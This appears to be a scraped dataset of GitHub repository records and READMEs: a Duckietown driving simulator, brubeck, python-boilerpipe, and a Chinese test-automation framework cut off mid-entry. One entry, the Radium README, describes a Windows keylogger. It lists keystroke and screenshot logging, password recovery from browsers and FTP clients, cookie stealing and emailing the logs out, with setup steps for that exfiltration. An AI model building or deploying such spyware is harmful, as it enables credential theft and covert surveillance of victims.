Gym-Duckietown also ships with features, wrappers, and tools that can help you bring your algorithms to the real robot, including [domain-randomization](https://blog.openai.com/spam-detection-in-the-physical-world/), accurate camera distortion, and differential-drive physics (and most importantly, realistic waddling).\n\n<p align=\"center\">\n<img src=\"media/finalmain.gif\"><br>\n</p>\n\nThere are multiple registered gym environments, each corresponding to a different [map file](https://github.com/duckietown/gym-duckietown/tree/master/gym_duckietown/maps):\n- `Duckietown-straight_road-v0`\n- `Duckietown-4way-v0`\n- `Duckietown-udem1-v0`\n- `Duckietown-small_loop-v0`\n- `Duckietown-small_loop_cw-v0`\n- `Duckietown-zigzag_dists-v0`\n- `Duckietown-loop_obstacles-v0` (static obstacles in the road)\n- `Duckietown-loop_pedestrians-v0` (moving obstacles in the road)\n\nThe `MultiMap-v0` environment is essentially a [wrapper](https://github.com/duckietown/gym-duckietown/blob/master/gym_duckietown/envs/multimap_env.py) for the simulator which\nwill automatically cycle through all available [map files](https://github.com/duckietown/gym-duckietown/tree/master/gym_duckietown/maps). This makes it possible to train on\na variety of different maps at the same time, with the idea that training on a variety of\ndifferent scenarios will make for a more robust policy/model.\n\n`gym-duckietown` is an _accompanying_ simulator to real Duckiebots, which allow you to run your code on the real robot. We provide a domain randomization API, which can help you transfer your trained policies from simulation to real world. Without using a domain transfer method, your learned models will likely overfit to various aspects of the simulator, which won't transfer to the real world. When you deploy, you and your Duckiebot will be running around in circles trying to figure out what's going on.\n\n<p align=\"center\">\n<img src=\"media/domainrand-sim.gif\" width=\"300px\" height=\"200px\" ><img src=\"media/needfordr.gif\" width=\"300px\" height=\"200px\" ><br>\n</p>\n\nThe `Duckiebot-v0` environment is meant to connect to software running on\na real Duckiebot and remotely control the robot. It is a tool to test that policies\ntrained in simulation can transfer to the real robot. If you want to\ncontrol your robot remotely with the `Duckiebot-v0` environment, you will need to\ninstall the software found in the [duck-remote-iface](https://github.com/maximecb/duck-remote-iface)\nrepository on your Duckiebot.\n\n<p align=\"center\">\n<img src=\"media/duckiebot_1.png\" width=\"300px\"><br>\nDuckiebot-v0\n</p>\n\n## Installation\n\nRequirements:\n- Python 3.6+\n- OpenAI gym\n- NumPy\n- Pyglet\n- PyYAML\n- PyTorch\n\nYou can install all the dependencies except PyTorch with `pip3`:\n\n```\ngit clone https://github.com/duckietown/gym-duckietown.git\ncd gym-duckietown\npip3 install -e .\n```\n\nReinforcement learning code forked from [this repository](https://github.com/ikostrikov/pytorch-a2c-ppo-acktr)\nis included under [/pytorch_rl](/pytorch_rl). If you wish to use this code, you\nshould install [PyTorch](http://pytorch.org/).\n\n### Installation Using Conda (Alternative Method)\n\nAlternatively, you can install all the dependencies, including PyTorch, using Conda as follows. For those trying to use this package on MILA machines, this is the way to go:\n\n```\ngit clone https://github.com/duckietown/gym-duckietown.git\ncd gym-duckietown\nconda env create -f environment.yaml\n```\n\nPlease note that if you use Conda to install this package instead of pip, you will need to activate your Conda environment and add the package to your Python path before you can use it:\n\n```\nsource activate gym-duckietown\nexport PYTHONPATH=\"${PYTHONPATH}:`pwd`\"\n```\n\n### Docker Image\n\nThere is a pre-built Docker image available [on Docker Hub](https://hub.docker.com/r/duckietown/gym-duckietown), which also contains an installation of PyTorch.\n\n*Note that in order to get GPU acceleration, you should install and use [nvidia-docker 2.0](https://github.com/nvidia/nvidia-docker/wiki/Installation-(version-2.0)).*\n\nTo get started, pull the `duckietown/gym-duckietown` image from Docker Hub and open a shell in the container:\n\n```\nnvidia-docker pull duckietown/gym-duckietown && \\\nnvidia-docker run -it duckietown/gym-duckietown bash\n```\n\nThen create a virtual display:\n\n```\nXvfb :0 -screen 0 1024x768x24 -ac +extension GLX +render -noreset &> xvfb.log &\nexport DISPLAY=:0\n```\n\nNow, you are ready to start training a policy using RL:\n\n```\npython3 pytorch_rl/main.py \\\n        --algo a2c \\\n        --env-name Duckietown-loop_obstacles-v0 \\\n        --lr 0.0002 \\\n        --max-grad-norm 0.5 \\\n        --no-vis \\\n        --num-steps 20\n```\n\nIf you need to do so, you can build a Docker image by running the following command from the root directory of this repository:\n\n```\ndocker build . \\\n       --file ./docker/standalone/Dockerfile \\\n       --no-cache=true \\\n       --network=host \\\n       --tag <YOUR_TAG_GOES_HERE>\n```\n\n## Usage\n\n### Testing\n\nThere is a simple UI application which allows you to control the simulation or real robot manually. The `manual_control.py` application will launch the Gym environment, display camera images and send actions (keyboard commands) back to the simulator or robot. You can specify which map file to load with the `--map-name` argument:\n\n```\n./manual_control.py --env-name Duckietown-udem1-v0\n```\n\nThere is also a script to run automated tests (`run_tests.py`) and a script to gather performance metrics (`benchmark.py`).\n\n### Reinforcement Learning\n\nTo train a reinforcement learning agent, you can use the code provided under [/pytorch_rl](/pytorch_rl). I recommend using the A2C or ACKTR algorithms. A sample command to launch training is:\n\n```\npython3 pytorch_rl/main.py --no-vis --env-name Duckietown-small_loop-v0 --algo a2c --lr 0.0002 --max-grad-norm 0.5 --num-steps 20\n```\n\nThen, to visualize the results of training, you can run the following command. Note that you can do this while the training process is still running. Also note that if you are running this through SSH, you will need to enable X forwarding to get a display:\n\n```\npython3 pytorch_rl/enjoy.py --env-name Duckietown-small_loop-v0 --num-stack 1 --load-dir trained_models/a2c\n```\n\n### Imitation Learning\n\nThere is a script in the `experiments` directory which automatically generates a dataset of synthetic demonstrations. It uses hillclimbing to optimize the reward obtained, and outputs a JSON file:\n\n```\nexperiments/gen_demos.py --map-name loop_obstacles\n```\n\nThen you can start training an imitation learning model (conv net) with:\n\n```\nexperiments/train_imitation.py --map-name loop_obstacles\n```\n\nFinally, you can visualize what the trained model is doing with:\n\n```\nexperiments/control_imitation.py --map-name loop_obstacles\n```\n\nNote that it is possible to have `gen_demos.py` and `train_imitate.py` running simultaneously, so that training takes place while new demonstrations are being generated. You can also run `control_imitate.py` periodically during training to check on learning progress.\n\n## Design\n\n### Map File Format\n\nThe simulator supports a YAML-based file format which is designed to be easy to hand edit. See the [maps subdirectory](https://github.com/duckietown/gym-duckietown/blob/master/gym_duckietown/maps) for examples. Each map file has two main sections: a two-dimensional array of tiles, and a listing of objects to be placed around the map. The tiles are based on the [Duckietown appearance specification](https://docs.duckietown.org/daffy/opmanual_duckietown/out/duckietown_specs.html).\n\nThe available tile types are:\n- empty\n- straight\n- curve_left\n- curve_right\n- 3way_left (3-way intersection)\n- 3way_right\n- 4way (4-way intersection)\n- asphalt\n- grass\n- floor (office floor)\n\nThe available object types are:\n- barrier\n- cone (traffic cone)\n- duckie\n- duckiebot (model of a Duckietown robot)\n- tree\n- house\n- truck (delivery-style truck)\n- bus\n- building (multi-floor building)\n- sign_stop, sign_T_intersect, sign_yield, etc. (see [meshes subdirectory](https://github.com/duckietown/gym-duckietown/blob/master/gym_duckietown/meshes))\n\nAlthough the environment is rendered in 3D, the map is essentially two-dimensional. As such, objects coordinates are specified along two axes. The coordinates are rescaled based on the tile size, such that coordinates [0.5, 1.5] would mean middle of the first column of tiles, middle of the second row. Objects can have an `optional` flag set, which means that they randomly may or may not appear during training, as a form of domain randomization.\n\n### Observations\n\nThe observations are single camera images, as numpy arrays of size (120, 160, 3). These arrays contain unsigned 8-bit integer values in the [0, 255] range.\nThis image size was chosen because it is exactly one quarter of the 640x480 image resolution provided by the camera, which makes it fast and easy to scale down\nthe images. The choice of 8-bit integer values over floating-point values was made because the resulting images are smaller if stored on disk and faster to send over a networked connection.\n\n### Actions\n\nThe simulator uses continuous actions by default. Actions passed to the `step()` function should be numpy arrays containining two numbers between -1 and 1. These two numbers correspond to forward velocity, and a steering angle, respectively. A positive velocity makes the robot go forward, and a positive steering angle makes the robot turn left. There is also a [Gym wrapper class](https://github.com/duckietown/gym-duckietown/blob/master/gym_duckietown/wrappers.py) named `DiscreteWrapper` which allows you to use discrete actions (turn left, move forward, turn right) instead of continuous actions if you prefer.\n\n### Reward Function\n\nThe default reward function tries to encourage the agent to drive forward along the right lane in each tile. Each tile has an associated bezier curve defining the path the agent is expected to follow. The agent is rewarded for being as close to the curve as possible, and also for facing the same direction as the curve's tangent. The episode is terminated if the agent gets too far outside of a drivable tile, or if the `max_steps` parameter is exceeded. See the `step` function in [this source file](https://github.com/duckietown/gym-duckietown/blob/master/gym_duckietown/envs/simplesim_env.py).\n\n## Troubleshooting\n\nIf you run into problems of any kind, don't hesitate to [open an issue](https://github.com/duckietown/gym-duckietown/issues) on this repository. It's quite possible that you've run into some bug we aren't aware of. Please make sure to give some details about your system configuration (ie: PC or Max, operating system), and to paste the command you used to run the simulator, as well as the complete error message that was produced, if any.\n\n### ImportError: Library \"GLU\" not found\n\nYou may need to manually install packaged needed by Pyglet or OpenAI Gym on your system. The command you need to use will vary depending which OS you are running. For example, to install the glut package on Ubuntu:\n\n```\nsudo apt-get install freeglut3-dev\n```\n\nAnd on Fedora:\n\n```\nsudo dnf install freeglut-devel\n```\n\n### NoSuchDisplayException: Cannot connect to \"None\"\n\nIf you are connected through SSH, or running the simulator in a Docker image, you will need to use xvfb to create a virtual display in order to run the simulator. See the \"Running Headless\" subsection below.\n\n### Running headless\n\nThe simulator uses the OpenGL API to produce graphics. This requires an X11 display to be running, which can be problematic if you are trying to run training code through on SSH, or on a cluster. You can create a virtual display using [Xvfb](https://en.wikipedia.org/wiki/Xvfb). The instructions shown below illustrate this. Note, however, that these instructions are specific to MILA, look further down for instructions on an Ubuntu box:\n\n```\n# Reserve a Debian 9 machine with 12GB ram, 2 cores and a GPU on the cluster\nsinter --reservation=res_stretch --mem=12000 -c2 --gres=gpu\n\n# Activate the gym-duckietown Conda environment\nsource activate gym-duckietown\n\ncd gym-duckietown\n\n# Add the gym_duckietown package to your Python path\nexport PYTHONPATH=\"${PYTHONPATH}:`pwd`\"\n\n# Load the GLX library\n# This has to be done before starting Xvfb\nexport LD_LIBRARY_PATH=/Tmp/glx:$LD_LIBRARY_PATH\n\n# Create a virtual display with OpenGL support\nXvfb :$SLURM_JOB_ID -screen 0 1024x768x24 -ac +extension GLX +render -noreset &> xvfb.log &\nexport DISPLAY=:$SLURM_JOB_ID\n\n# You are now ready to train\n```\n\n### Running headless and training in a cloud based environment (AWS)\n\nWe recommend using the Ubuntu-based [Deep Learning AMI](https://aws.amazon.com/marketplace/pp/B077GCH38C) to provision your server which comes with all the deep learning libraries.\n\n```\n# Install xvfb\nsudo apt-get install xvfb mesa-utils -y\n\n# Remove the nvidia display drivers (this doesn't remove the CUDA drivers)\n# This is necessary as nvidia display doesn't play well with xvfb\nsudo nvidia-uninstall -y\n\n# Sanity check to make sure you still have CUDA driver and its version\nnvcc --version\n\n# Start xvfb\nXvfb :1 -screen 0 1024x768x24 -ac +extension GLX +render -noreset &> xvfb.log &\n\n# Export your display id\nexport DISPLAY=:1\n\n# Check if your display settings are valid\nglxinfo\n\n# You are now ready to train\n```\n\n### Poor performance, low frame rate\n\nIt's possible to improve the performance of the simulator by disabling Pyglet error-checking code. Export this environment variable before running the simulator:\n\n```\nexport PYGLET_DEBUG_GL=True\n```\n\n### RL training doesn't converge\n\nReinforcement learning algorithms are extremely sensitive to hyperparameters. Choosing the\nwrong set of parameters could prevent convergence completely, or lead to unstable performance over\ntraining. You will likely want to experiment. A learning rate that is too low can lead to no\nlearning happening. A learning rate that is too high can lead unstable performance throughout\ntraining or a suboptimal result.\n\nThe reward values are currently rescaled into the [0,1] range, because the RL code in\n`pytorch_rl` doesn't do reward clipping, and deals poorly with large reward values. Also\nnote that changing the reward function might mean you also have to retune your choice\nof hyperparameters.\n\n### Unknown encoder 'libx264' when using gym.wrappers.Monitor\n\nIt is possible to use `gym.wrappers.Monitor` to record videos of the agent performing a task. See [examples here](https://www.programcreek.com/python/example/100947/gym.wrappers.Monitor).\n\nThe libx264 error is due to a problem with the way ffmpeg is installed on some linux distributions. One possible way to circumvent this is to reinstall ffmpeg using conda:\n\n```\nconda install -c conda-forge ffmpeg\n```\n\nAlternatively, screencasting programs such as [Kazam](https://launchpad.net/kazam) can be used to record the graphical output of a single window.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mehulj94/Radium", "link": "https://github.com/mehulj94/Radium", "tags": ["python", "keylogger", "security"], "stars": 513, "description": "Python logger with multiple features.", "lang": "Python", "repo_lang": "", "readme": "```\n____  ____  ____  ____  ____  ____  ____  ____  ____   ____   ____   ____   ____   ____\n  _____           _ _                   _              _\n |  __ \\         | (_)                 | |            | |\n | |__) |__ _  __| |_ _   _ _ __ ___   | | _____ _   _| | ___   __ _  __ _  ___ _ __\n |  _  // _` |/ _` | | | | | '_ ` _ \\  | |/ / _ \\ | | | |/ _ \\ / _` |/ _` |/ _ \\ '__|\n | | \\ \\ (_| | (_| | | |_| | | | | | | |   <  __/ |_| | | (_) | (_| | (_| |  __/ |\n |_|  \\_\\__,_|\\__,_|_|\\__,_|_| |_| |_| |_|\\_\\___|\\__, |_|\\___/ \\__, |\\__, |\\___|_|\n                                                  __/ |         __/ | __/ |\n                                                 |___/         |___/ |___/\n____  ____  ____  ____  ____  ____  ____  ____  ____   ____   ____   ____   ____   ____\n\n--> Coded by: Mehul Jain\n--> For windows only\n\n____   ____   ____   ____   ____   ____   ____\n  ______         _\n |  ____|       | |\n | |__ ___  __ _| |_ _   _ _ __ ___  ___\n |  __/ _ \\/ _` | __| | | | '__/ _ \\/ __|\n | | |  __/ (_| | |_| |_| | | |  __/\\__ \\\n |_|  \\___|\\__,_|\\__|\\__,_|_|  \\___||___/\n____   ____   ____   ____   ____   ____   ____\n\n--> Applications and keystrokes logging\n--> Screenshot logging\n--> Drive tree structure\n--> Logs sending by email\n--> Password Recovery for\n    \u2022 Chrome\n    \u2022 Mozilla\n    \u2022 Filezilla\n    \u2022 Core FTP\n    \u2022 CyberDuck\n    \u2022 FTPNavigator\n    \u2022 WinSCP\n    \u2022 Outlook\n    \u2022 Putty\n    \u2022 Skype\n    \u2022 Generic Network\n--> Cookie stealer\n--> Keylogger stub update mechanism\n--> Gather system information\n    \u2022 Internal and External IP\n    \u2022 Ipconfig /all output\n    \u2022 Platform\n____   ____   ____   ____   ____\n _   _ _____  ___  _____  _____\n| | | /  ___|/ _ \\|  __ \\|  ___|\n| | | \\ `--./ /_\\ \\ |  \\/| |__\n| | | |`--. \\  _  | | __ |  __|\n| |_| /\\__/ / | | | |_\\ \\| |___\n \\___/\\____/\\_| |_/\\____/\\____/\n____   ____   ____   ____   ____\n\n--> Download the libraries if you are missing any.\n--> Set the Gmail username and password and remember to check allow connection from less secure apps in gmail settings.\n--> Set the FTP server. Make the folder Radium in which you'll store the new version of exe.\n--> Set the FTP ip, username, password.\n--> Remember to encode the password in base64.\n--> Set the originalfilename variable in copytostartup(). This should be equal to the name of the exe.\n--> Make the exe using Pyinstaller\n--> Keylogs will be mailed after every 300 key strokes. This can be changed.\n--> Screenshot is taken after every 500 key strokes. This can be changed.\n--> Remember: If you make this into exe, change the variable \"originalfilename\" and \"coppiedfilename\" in function copytostartup().\n--> Remember: whatever name you give to \"coppiedfilename\", should be given to checkfilename in deleteoldstub().\n\n____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____\n _____ _     _                   _                             _\n|_   _| |   (_)                 | |                           | |\n  | | | |__  _ _ __   __ _ ___  | |_ ___   __      _____  _ __| | __   ___  _ __\n  | | | '_ \\| | '_ \\ / _` / __| | __/ _ \\  \\ \\ /\\ / / _ \\| '__| |/ /  / _ \\| '_ \\\n  | | | | | | | | | | (_| \\__ \\ | || (_) |  \\ V  V / (_) | |  |   <  | (_) | | | |\n  \\_/ |_| |_|_|_| |_|\\__, |___/  \\__\\___/    \\_/\\_/ \\___/|_|  |_|\\_\\  \\___/|_| |_|\n                      __/ |\n                     |___/\n____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____   ____\n\n--> Persistance\n--> Taking screenshots after a specific time. Making it keystrokes independent.\n--> Webcam logging\n--> Skype chat history stealer\n--> Steam credential harvestor\n```\n# Requirements\n* Install [PyHook](https://sourceforge.net/projects/pyhook/)\n* Install [PyWin32](https://sourceforge.net/projects/pywin32/)\n* Install [Microsoft Visual C++ Compiler for Python](https://www.microsoft.com/en-us/download/details.aspx?id=44266)\n* Install [PyInstaller](http://www.pyinstaller.org/)\n\n# Tutorial\n[![Tutorial Radium Keylogger](https://i.imgur.com/Y1jE9Km.png)](https://youtu.be/T0h_427L8u4)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "j2labs/brubeck", "link": "https://github.com/j2labs/brubeck", "tags": [], "stars": 513, "description": "Asynchronous web and messaging", "lang": "Python", "repo_lang": "", "readme": "# What Is Brubeck?\n\n__Brubeck__ is no longer actively maintained.\n", "readme_type": "markdown", "hn_comments": "As somebody who's been quite happily building a system around Brubeck for the better part of two months now, it's nice to see the background story pieced together into a cogent storyline.What's more interesting, I think, is the insight into the thought process and background that goes into building something that is exquisitely elegant in its simplicity and at the same time incredibly powerful and flexible.Working with Brubeck has been a delight since the very beginning.  Granted I've had experience building MVC type systems before, including in Python, but I think Brubeck's ease-of-use is quite significant compared to other frameworks.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "misja/python-boilerpipe", "link": "https://github.com/misja/python-boilerpipe", "tags": [], "stars": 513, "description": "Python interface to Boilerpipe, Boilerplate Removal and Fulltext Extraction from HTML pages", "lang": "Python", "repo_lang": "", "readme": "# python-boilerpipe\n\n\nA python wrapper for [Boilerpipe](http://code.google.com/p/boilerpipe/), an excellent Java library for boilerplate removal and fulltext extraction from HTML pages.\n\n## Configuration\n\n\nDependencies:\n\n * jpype\n * chardet\n\nThe boilerpipe jar files will get fetched and included automatically when building the package.\n\n## Installation\n\nCheckout the code:\n\n\tgit clone https://github.com/misja/python-boilerpipe.git\n\tcd python-boilerpipe\n\n\n**virtualenv**\n\n\tvirtualenv env\n\tsource env/bin/activate\n    pip install -r requirements.txt\n\tpython setup.py install\n\t\n\n**Fedora**\n\n    sudo dnf install -y python2-jpype\n    sudo python setup.py install\n\n\n## Usage\n\n\nBe sure to have set `JAVA_HOME` properly since `jpype` depends on this setting.\n\nThe constructor takes a keyword argument `extractor`, being one of the available boilerpipe extractor types:\n\n - DefaultExtractor\n - ArticleExtractor\n - ArticleSentencesExtractor\n - KeepEverythingExtractor\n - KeepEverythingWithMinKWordsExtractor\n - LargestContentExtractor\n - NumWordsRulesExtractor\n - CanolaExtractor\n\nIf no extractor is passed the DefaultExtractor will be used by default. Additional keyword arguments are either `html` for HTML text or `url`.\n\n    from boilerpipe.extract import Extractor\n    extractor = Extractor(extractor='ArticleExtractor', url=your_url)\n\nThen, to extract relevant content:\n\n    extracted_text = extractor.getText()\n\n    extracted_html = extractor.getHTML()\n\n\nFor `KeepEverythingWithMinKWordsExtractor` we have to specify `kMin` parameter, which defaults to `1` for now:\n\n\textractor = Extractor(extractor='KeepEverythingWithMinKWordsExtractor', url=your_url, kMin=20)\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "yanchunhuo/AutomationTest", "link": "https://github.com/yanchunhuo/AutomationTest", "tags": ["automated-testing", "selenium", "appium", "autotesting", "dubbo"], "stars": 514, "description": "\u81ea\u52a8\u5316\u6d4b\u8bd5\u6846\u67b6\uff0c\u652f\u6301\u63a5\u53e3\u81ea\u52a8\u5316\u3001WEB UI\u81ea\u52a8\u5316\u3001APP UI\u81ea\u52a8\u5316\u3001\u6027\u80fd\u6d4b\u8bd5\uff1b\u652f\u6301\u591a\u7cfb\u7edf\u76f8\u4e92\u8c03\u7528\uff1b\u652f\u6301\u63a5\u53e3\u4e0eUI\u76f8\u4e92\u8c03\u7528\uff1b\u652f\u6301dubbo\u63a5\u53e3\u8c03\u7528", "lang": "Python", "repo_lang": "", "readme": "![avatar](https://github.com/yanchunhuo/resources/blob/master/APIAutomationTest/report.png)\n\n# [\u81ea\u52a8\u5316\u6d4b\u8bd5]()\n\n# [\u6982\u51b5]()\n* \u672c\u9879\u76ee\u652f\u6301\u63a5\u53e3\u81ea\u52a8\u5316\u6d4b\u8bd5\u3001app ui\u81ea\u52a8\u5316\u6d4b\u8bd5\u3001web ui\u81ea\u52a8\u5316\u6d4b\u8bd5\u3001\u6027\u80fd\u6d4b\u8bd5\n* \u672c\u9879\u76ee\u7531\u4ee5\u4e0b\u5de5\u5177\u7ec4\u6210\n    * pytest\uff1apython\u7684\u4e00\u4e2a\u5355\u5143\u6d4b\u8bd5\u6846\u67b6,https://docs.pytest.org/en/latest/\n    * pytest-xdist\uff1apytest\u7684\u4e00\u4e2a\u63d2\u4ef6,\u53ef\u591a\u8fdb\u7a0b\u540c\u65f6\u6267\u884c\u6d4b\u8bd5\u7528\u4f8b,https://github.com/pytest-dev/pytest-xdist\n    * allure-pytest\uff1a\u7528\u4e8e\u751f\u6210\u6d4b\u8bd5\u62a5\u544a,http://allure.qatools.ru/\n    * PyHamcrest\uff1a\u4e00\u4e2a\u5339\u914d\u5668\u5bf9\u8c61\u7684\u6846\u67b6\uff0c\u7528\u4e8e\u65ad\u8a00\uff0chttps://github.com/hamcrest/PyHamcrest\n    * requests\uff1ahttp\u8bf7\u6c42\u6846\u67b6,http://docs.python-requests.org/en/master/\n    * Appium\uff1a\u79fb\u52a8\u7aef\u7684\u81ea\u52a8\u5316\u6d4b\u8bd5\u6846\u67b6,https://github.com/appium/appium/tree/v1.15.1\n    * selenium\uff1aweb ui\u81ea\u52a8\u5316\u6d4b\u8bd5\u6846\u67b6,https://www.seleniumhq.org/\n    * cx_Oracle\uff1aoracle\u64cd\u4f5c\u5e93,https://cx-oracle.readthedocs.io/en/latest/index.html\n    * JPype1\uff1a\u7528\u4e8e\u6267\u884cjava\u4ee3\u7801,https://github.com/jpype-project/jpype\n    * paramiko\uff1assh\u5ba2\u6237\u7aef,https://docs.paramiko.org/en/stable/\n    * Pillow\uff1a\u7528\u4e8e\u56fe\u7247\u5904\u7406,https://pillow.readthedocs.io/en/latest/\n    * PyMySQL\uff1a\u7528\u4e8e\u64cd\u4f5cMySQL\u6570\u636e\u5e93,https://github.com/PyMySQL/PyMySQL\n    * redis\uff1aredis\u5ba2\u6237\u7aef,https://pypi.org/project/redis/\n    * tess4j\uff1ajava\u7684\u56fe\u7247\u8bc6\u522b\u5de5\u5177,https://github.com/nguyenq/tess4j/\n    * allpairspy: \u7528\u4e8e\u5c06\u53c2\u6570\u5217\u8868\u8fdb\u884c\u6b63\u4ea4\u5206\u6790\uff0c\u5b9e\u73b0\u6b63\u4ea4\u5206\u6790\u6cd5\u7528\u4f8b\u8986\u76d6\uff0chttps://pypi.org/project/allpairspy/\n    * python-binary-memcached\uff1a\u7528\u4e8e\u64cd\u4f5cmemcached\uff0chttps://github.com/jaysonsantos/python-binary-memcached\n    * kazoo\uff1a\u7528\u4e8e\u64cd\u4f5czookeeper\uff0chttps://github.com/python-zk/kazoo\n    * websockets\uff1a\u7528\u4e8ewebsocket\u8bf7\u6c42\uff0chttps://github.com/aaugustin/websockets\n    * Js2Py\uff1a\u7528\u4e8e\u6267\u884cjs\u4ee3\u7801\uff0chttps://github.com/PiotrDabkowski/Js2Py\n    * sqlacodegen\uff1a\u7528\u4e8e\u6839\u636e\u6570\u636e\u5e93\u8868\u7ed3\u6784\u751f\u6210python\u5bf9\u8c61\uff0chttps://github.com/agronholm/sqlacodegen\n    * SQLAlchemy\uff1aSQL\u5de5\u5177\u5305\u53ca\u5bf9\u8c61\u5173\u7cfb\u6620\u5c04\uff08ORM\uff09\u5de5\u5177\uff0chttps://github.com/sqlalchemy/sqlalchemy\n* \u5f53\u524d\u4ec5\u652f\u6301Python>=3.6\n* \u9879\u76ee\u5982\u9700\u6267\u884cjava\u4ee3\u7801(\u5373\u4f7f\u7528jpype1)\uff0c\u5219\u9879\u76ee\u76ee\u5f55\u6240\u5728\u7684\u8def\u5f84\u4e0d\u53ef\u5305\u542b\u4e2d\u6587\n    \n# [\u4f7f\u7528]()\n## \u4e00\u3001\u73af\u5883\u51c6\u5907\n### 1\u3001\u811a\u672c\u8fd0\u884c\u73af\u5883\u51c6\u5907\n#### 1.1\u3001\u5b89\u88c5\u7cfb\u7edf\u4f9d\u8d56\n* Linux-Ubuntu:\n    * apt-get install libpq-dev python3-dev \u3010\u7528\u4e8epsycopg2-binary\u6240\u9700\u4f9d\u8d56\u3011\n    * apt-get install g++ libgraphicsmagick++1-dev libboost-python-dev \u3010\u7528\u4e8epgmagick\u6240\u9700\u4f9d\u8d56\u3011\n    * apt-get install python-pgmagick \u3010pgmagick\u6240\u9700\u4f9d\u8d56\u3011\n* Linux-CentOS:\n    * yum install python3-devel postgresql-devel \u3010\u7528\u4e8epsycopg2-binary\u6240\u9700\u4f9d\u8d56\u3011\n    * yum install GraphicsMagick-c++-devel boost boost-devel\u3010\u7528\u4e8epgmagick\u6240\u9700\u4f9d\u8d56\u3011\n* Windows:\n    * \u5b89\u88c5Microsoft Visual C++ 2019 Redistributable\uff0c\u4e0b\u8f7d\u5730\u5740\uff1ahttps://visualstudio.microsoft.com/zh-hans/downloads/ \u3010jpype1\u3001\u56fe\u50cf\u8bc6\u522b\u5b57\u5e93\u6240\u9700\u4f9d\u8d56\u3011\n\n#### 1.2\u3001\u5b89\u88c5python\u4f9d\u8d56\u6a21\u5757\n* pip3 install -r requirements.txt\n* \u5b89\u88c5pgmagick\n    * Linux:\n        * pip3 install pgmagick==0.7.6\n    * Windows:\n        * \u4e0b\u8f7d\u5b89\u88c5\u5bf9\u5e94\u7248\u672c\uff1ahttps://www.lfd.uci.edu/~gohlke/pythonlibs/#pgmagick\n* \u5b89\u88c5xmind-sdk-python\n    * \u4e0b\u8f7d\u5730\u5740:https://github.com/xmindltd/xmind-sdk-python\n\n#### 1.3\u3001\u5b89\u88c5allure\n* \u6e90\u5b89\u88c5\n    * sudo apt-add-repository ppa:qameta/allure\n    * sudo apt-get update \n    * sudo apt-get install allure\n    * \u5176\u4ed6\u5b89\u88c5\u65b9\u5f0f\uff1ahttps://github.com/allure-framework/allure2\n* \u624b\u52a8\u5b89\u88c5\n    * \u4e0b\u8f7d2.7.0\u7248\u672c:https://github.com/allure-framework/allure2/releases\n    * \u89e3\u538ballure-2.7.0.zip\n    * \u52a0\u5165\u7cfb\u7edf\u73af\u5883\u53d8\u91cf:export PATH=/home/john/allure-2.7.0/bin:$PATH\n\n#### 1.4\u3001\u5b89\u88c5openjdk8\u6216jdk8\n* sudo add-apt-repository ppa:openjdk-r/ppa\n* sudo apt-get update\n* sudo apt-get install openjdk-8-jdk\n\n#### 1.5\u3001\u5b89\u88c5maven\n* \u5b8c\u6210maven\u7684\u5b89\u88c5\u914d\u7f6e\n\n#### 1.6\u3001\u5b89\u88c5Oracle Instant Client\n* Linux\n    * \u5b89\u88c5libaio\u5305\n        * Linux-CentOS:yum install libaio\n        * Linux-Ubuntu:apt-get install libaio1\n    * \u914d\u7f6eOracle Instant Client\n        * \u4e0b\u8f7d\u5730\u5740:http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html\n        * \u4e0b\u8f7d\u5b89\u88c5\u5305instantclient-basic-linux.x64-18.3.0.0.0dbru.zip\n        * \u89e3\u538bzip\u5305,\u5e76\u914d\u7f6e/etc/profile\n            * unzip instantclient-basic-linux.x64-18.3.0.0.0dbru.zip\n            * export LD_LIBRARY_PATH=/home/john/oracle_instant_client/instantclient_18_3:$LD_LIBRARY_PATH\n        * \u4e2d\u6587\u7f16\u7801\u8bbe\u7f6e\n        \n            ```python \n            import os\n            os.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8'\n            ```\n* Windows\n    * \u4e0b\u8f7d\u5730\u5740:http://www.oracle.com/technetwork/topics/winx64soft-089540.html\n    * \u4e0b\u8f7d\u5b89\u88c5\u5305instantclient-basic-windows.x64-11.2.0.4.0.zip\n    * \u89e3\u538bzip\u5305,\u5e76\u914d\u7f6e\u73af\u5883\u53d8\u91cf\n        * \u7cfb\u7edf\u73af\u5883\u53d8\u91cf\u52a0\u5165D:\\instantclient-basic-windows.x64-11.2.0.4.0\\instantclient_11_2\n        * \u914d\u7f6e\u4e2d\u6587\u7f16\u7801,\u73af\u5883\u53d8\u91cf\u521b\u5efaNLS_LANG=SIMPLIFIED CHINESE_CHINA.UTF8  \n    * \u6ce8\u610f:\u5982\u679c\u4f7f\u752864\u4f4d,python\u548cinstantclient\u90fd\u9700\u8981\u4f7f\u752864\u4f4d\n\n#### 1.7\u3001\u56fe\u50cf\u8bc6\u522b\u5b57\u5e93\u51c6\u5907\n* \u4e0b\u8f7d\u5bf9\u5e94\u5b57\u5e93:https://github.com/tesseract-ocr/tessdata\n* \u5c06\u4e0b\u8f7d\u7684\u5b57\u5e93\u653e\u5230common/java/lib/tess4j/tessdata/\n* Linux\n    * \u5b89\u88c5\u4f9d\u8d56\n        * Linux-Ubuntu:sudo apt install pkg-config aclocal libtool automake libleptonica-dev\n        * Linux-CentOS:yum install autoconf automake libtool libjpeg-devel libpng-devel libtiff-devel zlib-devel\n    * \u5b89\u88c5leptonica\uff0c\u4e0b\u8f7dleptonica-1.78.0.tar.gz\uff0c\u4e0b\u8f7d\u5730\u5740\uff1ahttps://github.com/DanBloomberg/leptonica/releases\n        * \u5b89\u88c5\u6b65\u9aa4\u540ctesseract-ocr\u7684\u5b89\u88c5\n        * \u4fee\u6539/etc/profile\u6dfb\u52a0\u5982\u4e0b\u5185\u5bb9\uff0c\u7136\u540esource\n        ```\n        export LD_LIBRARY_PATH=$LD_LIBRARY_PAYT:/usr/local/lib\n        export LIBLEPT_HEADERSDIR=/usr/local/include\n        export 